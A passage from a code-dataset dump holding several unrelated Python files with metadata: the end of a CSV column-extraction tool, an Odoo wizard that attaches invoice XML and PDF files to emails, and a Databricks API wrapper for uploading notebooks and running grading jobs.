else:\n outputCSV.writerow(outputColumns)\n except (OSError) as e:\n if (extractFile is not None) and (extractFile != '-'):\n (exc_type, exc_value, exc_traceback) = sys.exc_info()\n logging.fatal('Cannot write to output file(%s)', extractFile)\n logging.fatal('Error: %s', exc_value)\n logging.shutdown()\n if (csvFile is None) or (csvFile == '-'):\n for line in sys.stdin: # Be nice - suck up the input\n pass\n sys.stdout.flush()\n sys.exit(e.errno)\n header = False\n\n # If no header in the file then process this row - we just processed a header from some other source\n if not haveHeader:\n continue\n\n # If we have a configuration error - then we are just sucking up stdin\n if inputHas is None:\n continue\n\n # Update the footer line if there is a footer\n if inputRow[0].upper() == 'END OF FILE':\n if not suppressHeaderFooter:\n inputRow[1] = rows\n try:\n outputCSV.writerow(inputRow)\n except (OSError) as e:\n if (extractFile is not None) and (extractFile != '-'):\n (exc_type, exc_value, exc_traceback) = sys.exc_info()\n logging.fatal('Cannot write to output file(%s)', extractFile)\n logging.fatal('Error: %s', exc_value)\n logging.shutdown()\n if (csvFile is None) or (csvFile == '-'):\n for line in sys.stdin: # Be nice - suck up the input\n pass\n sys.stdout.flush()\n sys.exit(e.errno)\n else:\n logging.shutdown()\n sys.exit(EX_OK)\n break\n\n # Extract the required columns\n if fileName:\n extract = [csvFile]\n else:\n extract = []\n for i, column in enumerate(wantedColumns):\n if column in newColumns:\n if maxNew >= len(inputRow):\n if (csvFile is None) or (csvFile == '-'):\n logging.fatal('Input data row(%d) in file(sys.stdin) has insufficient columns(%s)',\n rows, repr(inputRow))\n else:\n logging.fatal('Input data row(%d) in file(%s) has insufficient columns(%s)',\n rows, csvFile, repr(inputRow))\n logging.fatal('Need column(%d) - only found (%d) columns', maxNew, len(inputRow))\n logging.shutdown()\n if (csvFile is None) or (csvFile == '-'):\n for line in sys.stdin: # Be nice - suck up the input\n pass\n sys.stdout.flush()\n sys.exit(EX_DATAERR)\n newExpression = newColumns[column]\n for param in inputHas:\n newExpression = re.sub(r'\\$\\{' + param + r'\\}', 'inputRow[inputHas[\\'' + param + '\\']]', newExpression)\n newValue = eval(newExpression)\n extract.append(newValue)\n else:\n thisCol = inputHas[column]\n if thisCol >= len(inputRow):\n if (csvFile is None) or (csvFile == '-'):\n logging.fatal('Input data row(%d) in file(sys.stdin) has insufficient columns(%s)',\n rows, repr(inputRow))\n else:\n logging.fatal('Input data row(%d) in file(%s) has insufficient columns(%s)',\n rows, csvFile, repr(inputRow))\n logging.fatal('Need column(%d) - only found (%d) columns', maxNew, len(inputRow))\n logging.shutdown()\n if (csvFile is None) or (csvFile == '-'):\n for line in sys.stdin: # Be nice - suck up the input\n pass\n sys.stdout.flush()\n sys.exit(EX_DATAERR)\n extract.append(inputRow[thisCol])\n if uniqueRows:\n rowKey = '~'.join(extract)\n if rowKey in rowKeys:\n continue\n rowKeys.add(rowKey)\n try:\n outputCSV.writerow(extract)\n except (OSError, BrokenPipeError) as e:\n if (extractFile is not None) and (extractFile != '-'):\n (exc_type, exc_value, exc_traceback) = sys.exc_info()\n logging.fatal('Cannot write to output file(%s)', extractFile)\n logging.fatal('Error: %s', exc_value)\n logging.shutdown()\n if (csvFile is None) or (csvFile == '-'):\n for line in sys.stdin: # Be nice - suck up the input\n pass\n sys.stdout.flush()\n sys.exit(e.errno)\n else:\n logging.shutdown()\n if inputHas is None:\n sys.exit(EX_CONFIG)\n else:\n sys.exit(EX_OK)\n rows += 1\n\n try:\n sys.stdout.flush()\n except (OSError, BrokenPipeError) as e:\n logging.shutdown()\n if inputHas is None:\n sys.exit(EX_CONFIG)\n else:\n sys.exit(EX_OK)\n\n if (extractFile is not None) and (extractFile != '-'):\n try:\n outputFile.close()\n except (OSError, BrokenPipeError) as e:\n logging.shutdown()\n if inputHas is None:\n sys.exit(EX_CONFIG)\n else:\n sys.exit(EX_OK)\n\n logging.shutdown()\n\n # Check for a configuration error\n if inputHas is None:\n sys.exit(EX_CONFIG)\n else:\n sys.exit(EX_OK)\n", "repo_name": "russellmcdonell/verify_Australian_Addresses", "sub_path": "tools/csvExtract.py", "file_name": "csvExtract.py", "file_ext": "py", "file_size_in_byte": 21340, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.fatal", "line_number": 107, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 114, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 116, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 122, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 124, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 138, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 141, "usage_type": "call"}, {"api_name": "logging.CRITICAL", "line_number": 170, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 170, "usage_type": "attribute"}, {"api_name": "logging.WARNING", "line_number": 170, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 170, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 170, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 175, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 178, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 181, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 183, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 188, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 189, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 190, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 192, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 192, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 193, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 196, "usage_type": "call"}, {"api_name": "configparser.ParsingError", "line_number": 215, "usage_type": "call"}, {"api_name": "re.finditer", "line_number": 217, "usage_type": "call"}, {"api_name": "configparser.MissingSectionHeaderError", "line_number": 222, "usage_type": "name"}, {"api_name": "configparser.NoSectionError", "line_number": 222, "usage_type": "name"}, {"api_name": "configparser.NoOptionError", "line_number": 222, "usage_type": "name"}, {"api_name": "configparser.ParsingError", "line_number": 222, "usage_type": "name"}, {"api_name": "logging.critical", "line_number": 223, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 224, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 226, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 228, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 228, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 229, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 233, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 234, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 235, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 235, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 236, "usage_type": "call"}, {"api_name": "sys.stdin.reconfigure", "line_number": 243, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 243, "usage_type": "attribute"}, {"api_name": "sys.stdin", "line_number": 244, "usage_type": "attribute"}, {"api_name": "csv.Sniffer", "line_number": 247, "usage_type": "call"}, {"api_name": "csv.Error", "line_number": 248, "usage_type": "attribute"}, {"api_name": "csv.excel", "line_number": 249, "usage_type": "attribute"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 252, "usage_type": "attribute"}, {"api_name": "sys.exc_info", "line_number": 255, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 256, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 257, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 258, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 259, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 261, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 261, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 262, "usage_type": "call"}, {"api_name": "csv.QUOTE_NONE", "line_number": 263, "usage_type": "attribute"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 265, "usage_type": "attribute"}, {"api_name": "sys.exc_info", "line_number": 271, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 272, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 273, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 274, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 275, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 275, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 276, "usage_type": "call"}, {"api_name": "csv.Sniffer", "line_number": 278, "usage_type": "call"}, {"api_name": "csv.Error", "line_number": 280, "usage_type": "attribute"}, {"api_name": "logging.warning", "line_number": 281, "usage_type": "call"}, {"api_name": "csv.excel", "line_number": 282, "usage_type": "attribute"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 285, "usage_type": "attribute"}, {"api_name": "sys.exc_info", "line_number": 289, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 290, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 291, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 292, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 293, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 293, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 294, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 295, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 300, "usage_type": "call"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 302, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 306, "usage_type": "attribute"}, {"api_name": "sys.stdout.reconfigure", "line_number": 307, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 307, "usage_type": "attribute"}, {"api_name": "sys.exc_info", "line_number": 312, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 313, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 314, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 315, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 317, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 319, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 319, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 320, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 321, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 332, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 334, "usage_type": "call"}, {"api_name": "csv.excel", "line_number": 334, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 335, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 348, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 349, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 349, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 350, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 362, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 363, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 364, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 365, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 367, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 369, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 369, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 370, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 389, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 390, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 391, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 392, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 394, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 396, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 396, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 397, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 399, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 400, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 412, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 415, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 417, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 418, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 420, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 422, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 422, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 423, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 426, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 433, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 436, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 438, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 439, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 441, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 443, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 443, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 444, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 455, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 456, "usage_type": "call"}, {"api_name": "logging.fatal", "line_number": 457, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 458, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 460, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 462, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 462, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 463, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 465, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 467, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 469, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 473, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 473, "usage_type": "attribute"}, {"api_name": "logging.shutdown", "line_number": 475, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 477, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 479, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 485, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 487, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 489, "usage_type": "call"}, {"api_name": "logging.shutdown", "line_number": 491, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 495, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 497, "usage_type": "call"}]} {"seq_id": "5198391950", "text": "from openerp import models, fields, api, _\nimport logging\n\n_logger = logging.getLogger(__name__)\nfrom openerp.exceptions import except_orm\nimport base64\n\nDOC_TYPE_NAME = {\n 'out_invoice': 'Factura',\n 'credit_note': 'Nota_Credito',\n 'debit_note': 'Nota_Debito',\n 'retention': 'Retencion'\n}\n\n\nclass MailComposeMessage(models.TransientModel):\n _inherit = 'mail.compose.message'\n\n @api.model\n def default_get(self, fields_list):\n result = super(MailComposeMessage, self).default_get(fields_list)\n\n if 'active_model' in self._context and self._context.get(\n 'active_model') == 'account.invoice' or self._context.get('active_model') == 'account.retention':\n invoice = self.env[self._context.get('active_model')].browse(self._context.get('active_ids'))\n\n if self._context.get('active_model') == 'account.invoice':\n if invoice.credit:\n doc_type = 'credit_note'\n elif invoice.debit:\n doc_type = 'debit_note'\n else:\n doc_type = invoice.type\n\n if self._context.get('active_model') == 'account.retention':\n doc_type = 'retention'\n number = invoice.name\n else:\n number = invoice.number\n\n ruc = invoice.partner_id.ced_ruc\n # number = invoice.number\n doc_type_name = DOC_TYPE_NAME[doc_type]\n\n dbname = self._cr.dbname\n company_ruc = invoice.company_id.partner_id.ced_ruc\n\n doc_xml_name = '/FE/%s/%s/Partner-%s/%s-%s-%s.xml' % (dbname, company_ruc, ruc, doc_type_name, ruc, number)\n doc_pdf_name = '/FE/%s/%s/Partner-%s/%s-%s-%s.pdf' % (dbname, company_ruc, ruc, doc_type_name, ruc, number)\n\n attchs = []\n\n try:\n f = open(doc_xml_name, 'r')\n xml_doc_content = f.read()\n base64_content = base64.b64encode(xml_doc_content)\n f.close()\n\n attachment_obj = self.env['ir.attachment']\n attachment_xml_id = attachment_obj.create({\n 'name': '%s-%s-%s.xml' % (doc_type_name, ruc, number),\n 'datas': base64_content,\n 'datas_fname': doc_xml_name,\n 'res_model': invoice._name,\n 'res_id': invoice.id,\n 'type': 'binary'\n })\n\n attchs.append(attachment_xml_id.id)\n\n f = open(doc_pdf_name, 'r')\n pdf_doc_content = f.read()\n base64_content = base64.b64encode(pdf_doc_content)\n f.close()\n\n attachment_pdf_id = attachment_obj.create({\n 'name': '%s-%s-%s.pdf' % (doc_type_name, ruc, number),\n 'datas': base64_content,\n 'datas_fname': doc_pdf_name,\n 'res_model': invoice._name,\n 'res_id': invoice.id,\n 'type': 'binary'\n })\n\n attchs.append(attachment_pdf_id.id)\n\n if 'template_id' in result:\n template = self.env['email.template'].browse([result['template_id']])\n else:\n template = self.env['email.template'].browse([self._context['default_template_id']])\n if template:\n template.write({\n 'attachment_ids': [(6, 0, attchs)],\n })\n\n result['attachment_ids'] = attchs\n except Exception as e:\n raise except_orm('Error', e)\n\n return result\n\n # if res.get('res_id') and res.get('model') and \\\n # res.get('composition_mode', '') != 'mass_mail' and \\\n # not res.get('can_attach_attachment'):\n # res['can_attach_attachment'] = True\n # return res\n\n can_attach_attachment = fields.Boolean(string='Can Attach Attachment')\n object_attachment_ids = fields.Many2many(\n comodel_name='ir.attachment',\n relation='mail_compose_message_ir_attachments_object_rel',\n column1='wizard_id', column2='attachment_id', string='Attachments')\n\n # @api.model\n # def get_mail_values(self, wizard, res_ids):\n # res = super(MailComposeMessage, self).get_mail_values(wizard, res_ids)\n # _logger.info('RES-2: %s' % res)\n # if wizard.object_attachment_ids.ids and wizard.model and \\\n # len(res_ids) == 1:\n # for res_id in res_ids:\n # if not res[res_id].get('attachment_ids'):\n # res[res_id]['attachment_ids'] = []\n # res[res_id][\n # 'attachment_ids'] = wizard.object_attachment_ids.ids # .extend(wizard.object_attachment_ids.ids)\n # _logger.info('RES-3: %s' % res)\n # return res\n\n # def default_get(self, cr, uid, fields, context=None):\n # if context is None:\n # context = {}\n # result = super(MailComposeMessage, self).default_get(cr, uid, fields, context=context)\n #\n # if 'active_model' in context and context.get('active_model') == 'account.invoice':\n # invoice = self.pool.get(context.get('active_model')).browse(cr, uid, context.get('active_ids'))\n #\n # if invoice.credit:\n # doc_type = 'credit_note'\n # elif invoice.debit:\n # doc_type = 'debit_note'\n # else:\n # doc_type = invoice.type\n #\n # ruc = invoice.partner_id.ced_ruc\n # number = invoice.number\n # doc_type_name = DOC_TYPE_NAME[doc_type]\n #\n # dbname = cr.dbname\n # company_ruc = invoice.company_id.partner_id.ced_ruc\n #\n # doc_xml_name = '/FE/%s/%s/Partner-%s/%s-%s-%s.xml' % (dbname, company_ruc, ruc, doc_type_name, ruc, number)\n # doc_pdf_name = '/FE/%s/%s/Partner-%s/%s-%s-%s.pdf' % (dbname, company_ruc, ruc, doc_type_name, ruc, number)\n #\n # attchs = []\n #\n # try:\n # f = open(doc_xml_name, 'r')\n # xml_doc_content = f.read()\n # base64_content = base64.b64encode(xml_doc_content)\n # f.close()\n #\n # attachment_obj = self.pool.get('ir.attachment')\n # attachment_xml_id = attachment_obj.create(cr, uid, {\n # 'name': '%s-%s-%s.xml' % (doc_type_name, ruc, number),\n # 'datas': base64_content,\n # 'datas_fname': doc_xml_name,\n # 'res_model': invoice._name,\n # 'res_id': invoice.id,\n # 'type': 'binary'\n # })\n #\n # attchs.append(attachment_xml_id)\n #\n # f = open(doc_pdf_name, 'r')\n # pdf_doc_content = f.read()\n # base64_content = base64.b64encode(pdf_doc_content)\n # f.close()\n #\n # attachment_pdf_id = attachment_obj.create(cr, uid, {\n # 'name': '%s-%s-%s.pdf' % (doc_type_name, ruc, number),\n # 'datas': base64_content,\n # 'datas_fname': doc_pdf_name,\n # 'res_model': invoice._name,\n # 'res_id': invoice.id,\n # 'type': 'binary'\n # })\n #\n # attchs.append(attachment_pdf_id)\n #\n # template = self.pool.get('email.template').browse(cr, uid, [result['template_id']])\n # if template:\n # template.write({\n # 'attachment_ids': [(6, 0, attchs)],\n # })\n #\n # result['attachment_ids'] = attchs\n # except Exception as e:\n # raise except_orm('Error', e)\n #\n # return result\n", "repo_name": "ateneolab/odoo-dev", "sub_path": "mail_attach_existing_attachment/wizard/mail_compose_message.py", "file_name": "mail_compose_message.py", "file_ext": "py", "file_size_in_byte": 7916, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 4, "usage_type": "call"}, {"api_name": "openerp.models.TransientModel", "line_number": 16, "usage_type": "attribute"}, {"api_name": "openerp.models", "line_number": 16, "usage_type": "name"}, {"api_name": "base64.b64encode", "line_number": 56, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 73, "usage_type": "call"}, {"api_name": "openerp.exceptions.except_orm", "line_number": 98, "usage_type": "call"}, {"api_name": "openerp.api.model", "line_number": 19, "usage_type": "attribute"}, {"api_name": "openerp.api", "line_number": 19, "usage_type": "name"}, {"api_name": "openerp.fields.Boolean", "line_number": 108, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 108, "usage_type": "name"}, {"api_name": "openerp.fields.Many2many", "line_number": 109, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 109, "usage_type": "name"}]} {"seq_id": "74817139102", "text": "import requests\nimport json\nimport os\nfrom databricks_cli.sdk.api_client import ApiClient\nfrom databricks_cli.workspace.api import WorkspaceApi, WorkspaceFileInfo\nfrom databricks_cli.workspace.cli import *\nfrom databricks_cli.configure.provider import *\nfrom databricks_cli.clusters.api import ClusterApi\nfrom databricks_cli.jobs.api import JobsApi\nfrom databricks_cli.jobs.cli import *\nfrom databricks_cli.runs.api import RunsApi\nimport json\nimport time\n\nfrom zipfile import ZipFile\n\nwith open(\"./configGrader.json\", mode=\"r\") as f:\n grader_conf = json.load(f)\nwith open(\"./configNotebooks.json\", mode=\"r\") as f:\n notebook_conf = json.load(f)\napi_client = ApiClient(\n host = get_config().host,\n token = get_config().token\n )\nworkspace = WorkspaceApi(api_client)\n\ndef upload_generated_assignments(grader_conf,assignment_name=None):\n api_client = ApiClient(\n host = get_config().host,\n token = get_config().token\n )\n \n workspace = WorkspaceApi(api_client)\n assignment_name = \"Test Final Assignment\"\n \n workspace_assignment_path = grader_conf[\"dbc_workspace_dir\"] + \"/\" + assignment_name + \"/AutoGrader generated assignments\"\n workspace.mkdirs(workspace_assignment_path)\n names = os.listdir(\"courseLink/GenerateMaterial/generated_assignments\")\n #names = [name if os.listdir(\"./generated_assignments\")\n local_assignment_name = grader_conf[\"Assignments\"][0][\"master_filename\"]\n #oh lord\n #assNumber = local_assignment_name.split(\".\")[0].split(\"/\")[1].split(\"_\")[1]\n #notebooks_to_upload = [name if \"Assignment_\" + assNumber in name for name in names]\n if names != []:\n for filename in names:\n if \"Assignment\" in filename:\n #if filename.split(\".\")[-1] == \"dbc\":\n \n upload_notebook(filename,assignment_name,workspace,workspace_assignment_path)\n #break\n\ndef upload_notebook(filename,assName,workspace,workspace_path): \n try:\n workspace.delete(workspace_path+ \"/\" + filename.split(\".\")[0],is_recursive=False)\n except:\n #already exists\n pass\n workspace.import_workspace(\"courseLink/GenerateMaterial/generated_assignments/\"+filename,workspace_path + \"/\" + filename.split(\".\")[0] ,\"DBC\",\"DBC\",is_overwrite=False)\n\n print(\"upload notebook \" + filename + \" to workspace\")\n\ndef download_master(grader_conf,notebook_conf):\n api_client = ApiClient(\n host = get_config().host,\n token = get_config().token\n )\n\n \n #with open(\"../configGrader.json\", mode=\"r\") as f:\n # grader_conf = json.load(f)\n #with open(\"../configNotebooks.json\", mode=\"r\") as f:\n # notebook_conf = json.load(f)\n \n assName = grader_conf[\"Assignments\"][0][\"name\"]\n \n \n workspace = WorkspaceApi(api_client)\n #master_filename = notebook_conf[\"master_notebooks\"][0].split(\".\")[0] #temporary solution\n workspace_master_path = grader_conf[\"dbc_workspace_dir\"] + \"/\" + assName + \"/\" + notebook_conf[\"master_notebooks\"][0]\n print(os.getcwd())\n workspace.export_workspace(workspace_master_path,notebook_conf[\"notebook_folder\"] + \"/\" + notebook_conf[\"master_notebooks\"][0] + \".dbc\",\"DBC\",\"DBC\")\n print(\"downloaded notebook\" + workspace_master_path + \"from workspace\")\n \n \ndef upload_feedback_to_workspace(file,user_name,user_id,attemptnr):\n\n #workspace.import_workspace(file,grader_conf[\"dbc_workspace_dir\"] + \"/\" + grader_conf[\"Assignments\"][0][\"name\"] + \"/Grading_Archive/\" + grader_conf[\"Assignments\"][0][\"name\"] + \"_\" + + user_name + \"_\" + user_id + attemptnr,\"DBC\",\"DBC\",is_overwrite=False)\n pass\n\n \ndef initConfigFiles(assName):\n with open(\"./configGrader.json\", mode=\"r\") as f:\n grader_conf = json.load(f)\n\n course_id = grader_conf['course']\n dbc_cluster_id = grader_conf['dbc_cluster_id']\n with open(\"./Grading/create-job-template.json\", mode=\"r\") as f:\n job_conf = json.load(f)\n job_conf[\"name\"] = assName\n job_conf[\"existing_cluster_id\"] = dbc_cluster_id\n job_conf[\"notebook_task\"][\"notebook_path\"] = grader_conf[\"dbc_workspace_dir\"] + \"/\" + grader_conf[\"Assignments\"][0][\"name\"] + \"/Grading/Graded_Notebook_for_\" + assName + \".dbc\"\n return job_conf,grader_conf\n\ndef startCluster(api_client, cluster_id):\n cluster = ClusterApi(api_client)\n if cluster.get_cluster(cluster_id)['state'] != 'RUNNING':\n if cluster.get_cluster(cluster_id)['state'] != 'STARTING' and cluster.get_cluster(cluster_id)['state'] != 'PENDING':\n cluster.start_cluster(cluster_id)\n print(\"Starting cluster \",cluster.get_cluster(cluster_id)['cluster_name'])\n while cluster.get_cluster(cluster_id)['state'] != 'RUNNING':\n print(\"Cluster is not running yet\")\n time.sleep(30)\n continue\n print(\"Cluster started\")\n print(\"===== Cluster is running =====\")\n\ndef createAndRunJob(api_client, job_conf):\n jobs_api = JobsApi(api_client)\n job_id = jobs_api.create_job(job_conf)\n print(\"Job created with id: \", job_id)\n run = jobs_api.run_now(job_id['job_id'],None,None,None,None)\n runs_api = RunsApi(api_client)\n #keep track of ru\n result_state = runs_api.get_run(run['run_id'])['state']['life_cycle_state']\n\n while result_state in ['PENDING','RUNNING']:\n print(\"job state: \",result_state)\n print(\"Job run is not finished yet\")\n time.sleep(15)\n result_state = runs_api.get_run(run['run_id'])['state']['life_cycle_state']\n\n print(\"Run finished\")\n print(\"-----\\n----- start downloading job result\")\n return run['run_id']\n\n\n\n\n## using these funcitons given from databricks ##\n## code: https://docs.databricks.com/_static/examples/extract.py\n## Runs export: https://docs.databricks.com/dev-tools/api/2.0/jobs.html#jobsjobsserviceexportrun\n\ndef output_location(dir_name, file_name, ext=\"html\"):\n return \"%s/%s.%s\" % (dir_name, file_name.split(\".\")[0], ext)\n\n\ndef extract_content(input_file, output_dir):\n with open(input_file, 'r') as reader:\n exported_content = reader.read()\n data = json.loads(exported_content).get(\"views\")\n output_file_names = set()\n for element in data:\n if element.get(\"type\", None).lower() != \"notebook\":\n continue\n output_file = element.get(\"name\")\n counter = 0\n while output_file in output_file_names:\n counter += 1\n output_file = \"%s_%d\" % (output_file, counter)\n output_file_names.add(output_file)\n with open(output_location(output_dir, output_file), \"w\") as writer:\n writer.write(str(element.get(\"content\", \"\")))\n print(\", \".join([output_location(output_dir, f) for f in output_file_names]))\n\n\n", "repo_name": "datascience-intro/GenJSONnotebookGrader", "sub_path": "NotebookGrader/AutoGrader/dbcRestWrapper.py", "file_name": "dbcRestWrapper.py", "file_ext": "py", "file_size_in_byte": 6803, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.load", "line_number": 18, "usage_type": "call"}, {"api_name": "json.load", "line_number": 20, "usage_type": "call"}, {"api_name": "databricks_cli.sdk.api_client.ApiClient", "line_number": 21, "usage_type": "call"}, {"api_name": "databricks_cli.workspace.api.WorkspaceApi", "line_number": 25, "usage_type": "call"}, {"api_name": "databricks_cli.sdk.api_client.ApiClient", "line_number": 28, "usage_type": "call"}, {"api_name": "databricks_cli.workspace.api.WorkspaceApi", "line_number": 33, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 38, "usage_type": "call"}, {"api_name": "databricks_cli.sdk.api_client.ApiClient", "line_number": 63, "usage_type": "call"}, {"api_name": "databricks_cli.workspace.api.WorkspaceApi", "line_number": 77, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 80, "usage_type": "call"}, {"api_name": "json.load", "line_number": 93, "usage_type": "call"}, {"api_name": "json.load", "line_number": 98, "usage_type": "call"}, {"api_name": "databricks_cli.clusters.api.ClusterApi", "line_number": 105, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 112, "usage_type": "call"}, {"api_name": "databricks_cli.jobs.api.JobsApi", "line_number": 118, "usage_type": "call"}, {"api_name": "databricks_cli.runs.api.RunsApi", "line_number": 122, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 129, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 150, "usage_type": "call"}]} {"seq_id": "42617039622", "text": "from flask import Flask\nfrom flask_login import 